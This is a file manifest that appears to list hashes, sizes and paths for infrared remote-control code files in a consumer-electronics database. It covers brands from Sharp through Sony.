+F:e803545cb57c35d10593de9188fec2c3:4019:infrared/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir +F:1a7c5b491f295229d5c0f64bd91ce02a:2413:infrared/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir +F:287982b8054e90b95c45d27c6337c128:2266:infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir +F:c5acae9ee0ed3607b9c049b88c7e5c8d:3003:infrared/_CSV-IRDB_/Sharp/VCR/3,-1.ir +F:63706c6aee3be1343952f3fed256f3c3:985:infrared/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir +D:infrared/_CSV-IRDB_/Sharpsat/Unknown_T28 +F:8bc45f2f130456a02ae7c52770859697:2096:infrared/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir +D:infrared/_CSV-IRDB_/Sherwood/Receiver +D:infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285 +D:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101 +D:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636 +D:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25 +D:infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II +D:infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood +F:d52361fbc7a621353231b5a8b284b94a:1303:infrared/_CSV-IRDB_/Sherwood/Receiver/131,69.ir +F:d5fe4ef8192749c5b6f0cfb66ba76d7d:3409:infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir +F:3514bccec88cdf784304afb7d4cb7490:2947:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir +F:e9c637c78c587e2ef063cf9e6fd82280:5324:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir +F:4f91ff502da5884314f5c37c2891f717:6346:infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir +F:ae7dfacbe19665a00a903c6a5ad32a20:4170:infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir +F:58d843aa17ff0baa4cfb9e42c618c1ce:2109:infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir +F:ec443b38d5cd9a8f833fa4fe485edde6:4585:infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir +D:infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730 +F:9d3d6df96012fc792d15a4e4ac20fafb:3919:infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir +D:infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb +F:df6099d3233cdc6d01e8f4033b00b2da:4899:infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir +D:infrared/_CSV-IRDB_/Siemens/Unknown_fb405 +D:infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400 +D:infrared/_CSV-IRDB_/Siemens/Unknown_siemens1 +F:9a2a51dac1469fb7fb43f9fbfd476f95:2238:infrared/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir +F:dd143abfb86f90fd6be4c30e0a0c7d41:3907:infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir +F:b3a90149b53c4856280644db2cc46533:3612:infrared/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir +D:infrared/_CSV-IRDB_/Sigma Designs/DVD Player +D:infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR +F:1a8463ddd5e09fb01a33a5056d1683b5:3449:infrared/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir +F:8ebab6989ae4bbbbb8eb23695168e189:3541:infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir +D:infrared/_CSV-IRDB_/Sigmatek/Unknown_X100 +D:infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO +F:44e94a481cd6a25a6dfab761014ebcd2:3919:infrared/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir +F:674529bfb211cfbe99a195d4b7362e9a:4370:infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir +D:infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52 +D:infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801 +F:ec7d6609cda1a6bd3ce46805bf57a26d:3719:infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir +F:66536f8dfb694a46c2e5a7d39c1b64d8:4409:infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir +D:infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR +D:infrared/_CSV-IRDB_/Sirius/Unknown_ST2 +D:infrared/_CSV-IRDB_/Sirius/Unknown_Sportster +F:dfbf741b850b2bd73435db35437c9db0:2191:infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir +F:713f464557de19494f3cfc7325f671e4:2690:infrared/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir +F:f0648d6f074a6edb0f0d597a56472960:2375:infrared/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir +D:infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E +F:398cf6f6512c39eee6cf5eabfc0b59b1:4663:infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir +D:infrared/_CSV-IRDB_/Sky/Unknown_DVB-S +D:infrared/_CSV-IRDB_/Sky/Unknown_rev.4 +F:962a1a37aeed583ab230807f79153df9:3638:infrared/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir +F:fbf7e1303e4adf969e82ab38fa462202:923:infrared/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir +D:infrared/_CSV-IRDB_/Skymaster/Unknown_2421 +D:infrared/_CSV-IRDB_/Skymaster/Unknown_2424 +D:infrared/_CSV-IRDB_/Skymaster/Unknown_DCI +D:infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99 +D:infrared/_CSV-IRDB_/Skymaster/Unknown_XL10 +D:infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster +F:bd6315c28f89c87eeba5f197d97e67ae:6076:infrared/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir +F:b0da7a4a74a93196994738b9a01c6e93:2664:infrared/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir +F:699df32af33d349459ea39a8546eba81:3346:infrared/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir +F:8e7e8006dc18ffe79b1e2cff53727bb3:1349:infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir +F:7feb85ac7e6e30fd224879537052914b:2327:infrared/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir +F:9b268b56b7f4f593937238639a1b1e18:2952:infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir +D:infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100 +F:de74f7ade4c0a66286575e960ef01053:4688:infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir +D:infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices +F:83fd04fd880eedbee6546d265b75d02d:2971:infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir +D:infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini +F:fa275e6da0460ce76ff0cb301c50e172:3371:infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir +D:infrared/_CSV-IRDB_/Snazio/Unknown_Net +F:65bdde65bc0625fdc98328d34e4210aa:4407:infrared/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir +D:infrared/_CSV-IRDB_/Snell/Speaker +F:542de069b708d5dbf647d07571a35554:1148:infrared/_CSV-IRDB_/Snell/Speaker/80,0.ir +D:infrared/_CSV-IRDB_/Sonance/Distributed Audio +D:infrared/_CSV-IRDB_/Sonance/System Controller +F:4cf45558ad4f76833ee0acd44d99c03d:2403:infrared/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir +F:87243d4f6c0be94f2b61add0eb6d371e:1150:infrared/_CSV-IRDB_/Sonance/System Controller/132,132.ir +D:infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360 +F:3f63c21351789991dd33353f81848389:4584:infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir +D:infrared/_CSV-IRDB_/Sony/Boombox +D:infrared/_CSV-IRDB_/Sony/CD Changer +D:infrared/_CSV-IRDB_/Sony/CD Jukebox +D:infrared/_CSV-IRDB_/Sony/CD Player +D:infrared/_CSV-IRDB_/Sony/Cassette Tape +D:infrared/_CSV-IRDB_/Sony/DAT +D:infrared/_CSV-IRDB_/Sony/DSP +D:infrared/_CSV-IRDB_/Sony/DSS +D:infrared/_CSV-IRDB_/Sony/DV Cam +D:infrared/_CSV-IRDB_/Sony/DVD Player +D:infrared/_CSV-IRDB_/Sony/Digital Recorder +D:infrared/_CSV-IRDB_/Sony/Laser Disc +D:infrared/_CSV-IRDB_/Sony/Mini-Disc +D:infrared/_CSV-IRDB_/Sony/Pre-Amplifier +D:infrared/_CSV-IRDB_/Sony/Receiver +D:infrared/_CSV-IRDB_/Sony/Surround Processor +D:infrared/_CSV-IRDB_/Sony/TV +D:infrared/_CSV-IRDB_/Sony/TiVo +D:infrared/_CSV-IRDB_/Sony/Unknown_870 +D:infrared/_CSV-IRDB_/Sony/Unknown_CD +D:infrared/_CSV-IRDB_/Sony/Unknown_CDIR +D:infrared/_CSV-IRDB_/Sony/Unknown_CDP-790 +D:infrared/_CSV-IRDB_/Sony/Unknown_D1000 +D:infrared/_CSV-IRDB_/Sony/Unknown_DAT +D:infrared/_CSV-IRDB_/Sony/Unknown_DVD +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-687C +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-860 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-861 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-873 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D190 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D270 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D295 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D302 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D320 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D325 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D391 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D520 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D55 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D690 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D706 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D797 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D7M +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D820 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D90 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D921 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-D991 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-DM7 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-DX740 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-ED019 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-PJP1 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG20 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG5 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG7 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-V211T +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-W101 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-X30 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-X40 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-X42 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-X47 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y155B +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y173 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y180 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y800 +D:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y812 +D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-136 +D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-506 +D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-B101A +D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-CF1A +D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D115P +D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126A +D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126E +D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D129A +D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-DSC2 +D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V107 +D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V270 +D:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V501A +D:infrared/_CSV-IRDB_/Sony/Unknown_SONY +D:infrared/_CSV-IRDB_/Sony/Unknown_TUNER +D:infrared/_CSV-IRDB_/Sony/Unknown_VPL-W400 +D:infrared/_CSV-IRDB_/Sony/Unknown_VaioRemote +D:infrared/_CSV-IRDB_/Sony/Unknown_lircd.conf +D:infrared/_CSV-IRDB_/Sony/Unknown_rm-d10p +D:infrared/_CSV-IRDB_/Sony/Unknown_rm-d29m +D:infrared/_CSV-IRDB_/Sony/Unknown_rm-d5 +D:infrared/_CSV-IRDB_/Sony/Unknown_rm-dm9 +D:infrared/_CSV-IRDB_/Sony/Unknown_rm-x95 +D:infrared/_CSV-IRDB_/Sony/Unknown_sony-cd +D:infrared/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303 +D:infrared/_CSV-IRDB_/Sony/Unknown_sonytv +D:infrared/_CSV-IRDB_/Sony/Unknown_tv +D:infrared/_CSV-IRDB_/Sony/VCR +D:infrared/_CSV-IRDB_/Sony/Video Projector +F:23648ede1d70e9fefa2abbf9b2ab697d:1936:infrared/_CSV-IRDB_/Sony/Boombox/100,-1.ir +F:1300a2034a9ea6ea9490e1924a49b17f:881:infrared/_CSV-IRDB_/Sony/Boombox/68,-1.ir +F:09f26b335d5f12c2689359fcbfcad427:478:infrared/_CSV-IRDB_/Sony/CD Changer/17,-1.ir +F:34bcdb70653e2833c4ba25cf67eb6997:134:infrared/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir +F:f4df49d27ca63f47ff5f175bbf5c6a4b:12995:infrared/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir +F:2b285c5fd9746c692f02f38ab996ff0d:126:infrared/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir +F:86e14429e61e132d9b467eab4610bae4:137:infrared/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir +F:7dbde63796e16f6138a5385888df97ab:126:infrared/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir +F:7e9006a7b1c07213cad2cafb040c2360:3554:infrared/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir +F:5c9b79ed159786f5c7f41c94a3e46d5f:3836:infrared/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir +F:34bcdb70653e2833c4ba25cf67eb6997:134:infrared/_CSV-IRDB_/Sony/CD Player/1,-1.ir +F:7c0660e985afb3974778c0023d395c6e:15483:infrared/_CSV-IRDB_/Sony/CD Player/17,-1.ir +F:3a9956dfeac975d2bacabddf3d5a8e3c:6425:infrared/_CSV-IRDB_/Sony/CD Player/57,-1.ir +F:67be1288bdee98c668d5163766812188:6524:infrared/_CSV-IRDB_/Sony/CD Player/81,-1.ir +F:3be4117ba526d49a5db62372f2d0ed2f:1196:infrared/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir +F:6b695364017d335aa0abc9bb2589f4e8:794:infrared/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir +F:1684bce3900507bb6c5baed0cb1741ff:2835:infrared/_CSV-IRDB_/Sony/DAT/28,-1.ir +F:3c459138182287c953172944d35d127e:2715:infrared/_CSV-IRDB_/Sony/DSP/26,233.ir +F:b10ce9e56e5ab2acf8e6d2cb8c6ae155:784:infrared/_CSV-IRDB_/Sony/DSS/1,-1.ir +F:5102dcea6df17617866a5faca161c106:132:infrared/_CSV-IRDB_/Sony/DSS/11,-1.ir +F:4a54eb8616117a0f75959e52833f2f3c:10105:infrared/_CSV-IRDB_/Sony/DSS/183,-1.ir +F:78bd2b8bb5194ddc00ab90a895800db9:3186:infrared/_CSV-IRDB_/Sony/DSS/23,133.ir +F:9a7c90288b3d405fc432cbcdfb4057d1:231:infrared/_CSV-IRDB_/Sony/DSS/3,-1.ir +F:9a7f1ff8f617509b62696840de525c35:134:infrared/_CSV-IRDB_/Sony/DSS/5,1.ir +F:bb010d5486e6a865efd356cd490cdf3f:415:infrared/_CSV-IRDB_/Sony/DSS/64,-1.ir +F:7d88512175694339b0631d145b3edfc2:422:infrared/_CSV-IRDB_/Sony/DV Cam/185,-1.ir +F:422e0ba2140c32d534a77ab4e0cd20d4:232:infrared/_CSV-IRDB_/Sony/DV Cam/217,-1.ir +F:41fbb550c6fa69cdb607c5e92814fd30:1362:infrared/_CSV-IRDB_/Sony/DV Cam/7,-1.ir +F:52940df02ae14c5129cebe35ebb0202e:418:infrared/_CSV-IRDB_/Sony/DVD Player/1,-1.ir +F:cf7e5e957d57a3fe51aa4ef89248d5c7:135:infrared/_CSV-IRDB_/Sony/DVD Player/164,-1.ir +F:4cdf34ddee3e0ea02b098cd06c9e6245:1479:infrared/_CSV-IRDB_/Sony/DVD Player/26,218.ir +F:fc4abc8d577450a14bab3f9d7a40b44b:19398:infrared/_CSV-IRDB_/Sony/DVD Player/26,73.ir +F:7ec226f60980a5dcabc1f27eac7ad681:4316:infrared/_CSV-IRDB_/Sony/DVD Player/26,83.ir +F:690e4c07c36258ee7c73f6e1e4579c4f:3618:infrared/_CSV-IRDB_/Sony/DVD Player/26,98.ir +F:ce83d993df06e88f131c01d37a14e085:142:infrared/_CSV-IRDB_/Sony/DVD Player/4,-1.ir +F:6cabc6f7d70850eb36dcd6dec89bdd33:320:infrared/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir +F:54bca03bbf9e94f2851348541115ed2a:3089:infrared/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir +F:ff4e174a3c3f2e4777a16f156a696e0f:1979:infrared/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir +F:73b47261b19506a14860386d109959e2:705:infrared/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir +F:d75c77dd1a52ca3352a94024e0a796e4:4921:infrared/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir +F:253846b3cd4b793df07c47e286e73d50:7192:infrared/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir +F:7525b65fe60597fbafc2bfcee003fae6:414:infrared/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir +F:35a800603d6bcfc0a86b17abf2f79e58:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir +F:9b7fd31e0afd007e197c85076595dc19:1088:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir +F:48d4395eba5989fa4c362aa72bb534ad:2007:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir +F:320ed5278834cf0bbcfa35e337065a9a:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir +F:ade57712bc380e675a468cc8803f0b00:3615:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir +F:e3de1709718857f3c3262d53035e5c2f:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir +F:28963fba4e05d5ee354d188c0968604b:1096:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir +F:a7f2cdd35e7c0b10e4577933a2345cbc:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir +F:25e18cd2df0fde47de8d2c506ecec9ce:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir +F:2cbde539dec613967e24724fc8419db5:2040:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir +F:575180510f763fead67ac9a6aa785ac1:3345:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir +F:f73e3bf9872ff636771fca7b686df22d:1591:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir +F:b5b36f76f4cc386cf13e00557007708a:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir +F:ce9f0faad1e1ea0cfdd4c61397995bd1:4287:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir +F:0c0ab6fe8b5222c9b5350ba138d609bd:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir +F:615f8a617580cb76c775fec4cb4b6a2a:126:infrared/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir +F:57e439224efe1b3aa5ccb7ce839b75f0:1540:infrared/_CSV-IRDB_/Sony/Receiver/1,-1.ir +F:35f503c4782deceb45a52d6bee96ce5e:883:infrared/_CSV-IRDB_/Sony/Receiver/11,-1.ir +F:a6722ff1876c18ca1ccc1721a200b2c0:2577:infrared/_CSV-IRDB_/Sony/Receiver/12,-1.ir +F:518fc5475cd4402124187cce8200f226:2152:infrared/_CSV-IRDB_/Sony/Receiver/121,-1.ir +F:842131c68998e01da1141a9d397dedb0:5721:infrared/_CSV-IRDB_/Sony/Receiver/13,-1.ir +F:73e8d43aac03110d53019b47e0900ef4:3029:infrared/_CSV-IRDB_/Sony/Receiver/144,-1.ir +F:6c100b02cbf4e553a7637db8e24c0176:1194:infrared/_CSV-IRDB_/Sony/Receiver/15,-1.ir +F:71300d22932651bb9334022695df492d:8577:infrared/_CSV-IRDB_/Sony/Receiver/16,-1.ir +F:ec1c4ecd654c031b4b33393cbc59780b:512:infrared/_CSV-IRDB_/Sony/Receiver/17,-1.ir +F:883b68a48af05748f40aa17592f04299:1069:infrared/_CSV-IRDB_/Sony/Receiver/176,-1.ir +F:b401597b0c78232dec28eac26f599d8b:3540:infrared/_CSV-IRDB_/Sony/Receiver/18,-1.ir +F:7d281890ea1e16bba76d38390dfe782d:312:infrared/_CSV-IRDB_/Sony/Receiver/2,-1.ir +F:1b3baee77e915a2a1a947003a9e78dd6:1866:infrared/_CSV-IRDB_/Sony/Receiver/20,-1.ir +F:b27d042afcd17e80ed77e62e36af80f6:5259:infrared/_CSV-IRDB_/Sony/Receiver/23,-1.ir +F:f99412af4abaf701b76f2eae537d469a:1430:infrared/_CSV-IRDB_/Sony/Receiver/26,66.ir +F:dece17cd924a92b6a36e9e6acfe7e50d:802:infrared/_CSV-IRDB_/Sony/Receiver/26,73.ir +F:8b406c055d0e3b3b04cf5d99fe11322d:21218:infrared/_CSV-IRDB_/Sony/Receiver/36,-1.ir +F:64cb3076e0f124dcefc688f1663bc812:427:infrared/_CSV-IRDB_/Sony/Receiver/4,-1.ir +F:fdbd7a97cd5eaca151e67add9d510a6d:4218:infrared/_CSV-IRDB_/Sony/Receiver/48,-1.ir +F:5a511b56687e0c1c182c104aac2930bb:213:infrared/_CSV-IRDB_/Sony/Receiver/6,-1.ir +F:ddcc65704ffc77f2505457b47f618896:213:infrared/_CSV-IRDB_/Sony/Receiver/7,-1.ir +F:ea8ea1a366b4a94f37214206bb7814de:126:infrared/_CSV-IRDB_/Sony/Receiver/8,-1.ir +F:afa49e6d5115c629037f2bc94a45b1d7:1924:infrared/_CSV-IRDB_/Sony/Surround Processor/26,233.ir +F:70bbda1c84edb1f1a92ca9d0897aadad:10057:infrared/_CSV-IRDB_/Sony/TV/1,-1.ir +F:ce38c83917111e1d4015dfbf8d4f5a56:719:infrared/_CSV-IRDB_/Sony/TV/119,-1.ir +F:8fd2cfaa632c8b9c503a081ae3898cee:1865:infrared/_CSV-IRDB_/Sony/TV/151,-1.ir +F:052d00b2a47f99862385a85875473fc6:5845:infrared/_CSV-IRDB_/Sony/TV/164,-1.ir +F:1e213ce8d4dce7b9c47170fd5de9eddc:131:infrared/_CSV-IRDB_/Sony/TV/183,-1.ir +F:c026bfcc9c09addd2245c689d5e66085:1858:infrared/_CSV-IRDB_/Sony/TV/26,-1.ir +F:f9abdb315a8d11175b0c3158e437e49f:741:infrared/_CSV-IRDB_/Sony/TV/26,42.ir +F:8f423737f0046b5ccad6fc644fb86988:1275:infrared/_CSV-IRDB_/Sony/TV/3,-1.ir +F:a562e9a1ede421c5c6db9daa5c8aa3b9:1289:infrared/_CSV-IRDB_/Sony/TV/84,-1.ir +F:fdce84f4126ee7ec069c2d5d73124f67:3449:infrared/_CSV-IRDB_/Sony/TiVo/183,-1.ir +F:3e97032836b045dea347916b2a10bd8a:3166:infrared/_CSV-IRDB_/Sony/TiVo/23,133.ir +F:1eff51fff023f8030e0c99b95f0855e4:6447:infrared/_CSV-IRDB_/Sony/TiVo/26,154.ir +F:2ba790afac3d69942b1bba0b200f70a3:2782:infrared/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir +F:f1c922c7ce13d9fa333d5588b837dbfd:4369:infrared/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir +F:2310ac536966d74bcc7a6682a946826d:4271:infrared/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir +F:775e57da4f90ea95e4f2c628f5e4141e:3993:infrared/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir +F:278a91d57d30596e7e60bac12ea3ae4a:3996:infrared/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir +F:75e6b7d311653ece89ccb0903beabb18:2410:infrared/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir +F:f047d819cd9e05bc7313fb265eb777cf:3399:infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir +F:de3ae4fb121cdf61df70a67aeb9a098b:3876:infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir +F:b8d7b93de7650a409cf0704c1481d385:2408:infrared/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir +F:8a8398e7e48b621a21fdc05260f7bcdd:1195:infrared/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir +F:9f0a97bbd24eb000ca945ac669e8a163:2864:infrared/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir +F:1448b8499c55fdd63dad23001688e209:2779:infrared/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir +F:17202fea2c76ad076d4658468dea280c:2191:infrared/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir +F:08c2089d04ea43fea48381db78d2bc63:3482:infrared/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir +F:95a2d6493a40c3a9be1b95bd922a600d:2479:infrared/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir +F:b674828512246fda26589cb0fcac3960:3281:infrared/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir +F:bffd54769ca4aad8d4988ad1faaf76a4:2473:infrared/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir +F:15180fbd5c8237c85bc8681c415fdce1:2848:infrared/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir +F:a23e3e50f31333adfb624afa6711e506:2577:infrared/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir +F:602a26277443359ced9099dacfeeabd2:2861:infrared/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir +F:b4392e9bd66a77b866ea8349f30cb019:2729:infrared/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir +F:f71cf011b4b7e92183406313ac81e35f:3686:infrared/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir +F:159f589bd1160940ad0d98fed898c9d9:4508:infrared/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir +F:9c214410249a77bbfbf8225c3da74f84:4261:infrared/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir +F:41dd2a18be86cf2fefb670ad5c1216e2:8402:infrared/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir +F:5044c5f801316a8915328c205065873a:2857:infrared/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir +F:97110e6076b36eecd3226499911b784d:1173:infrared/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir +F:bbf12eb50c54cd09e8a46f03dcc33025:5207:infrared/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir +F:9d81de702ea761119484891fd9ff9928:5007:infrared/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir +F:3e71629a92dd1686dedb1a0045f0ca9f:1931:infrared/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir +F:894887ee279864b0542098c2dc4a5113:2866:infrared/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir +F:f038d083b9070a91c5a20dbd237c60bd:3174:infrared/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir +F:43c17ca5798edd30f092b43ef1d8e8f9:322:infrared/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir +F:1ba0ab4c10d053446844f4878b203255:2224:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir +F:02541c46fc2730badd00452f4e7c851e:1868:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir 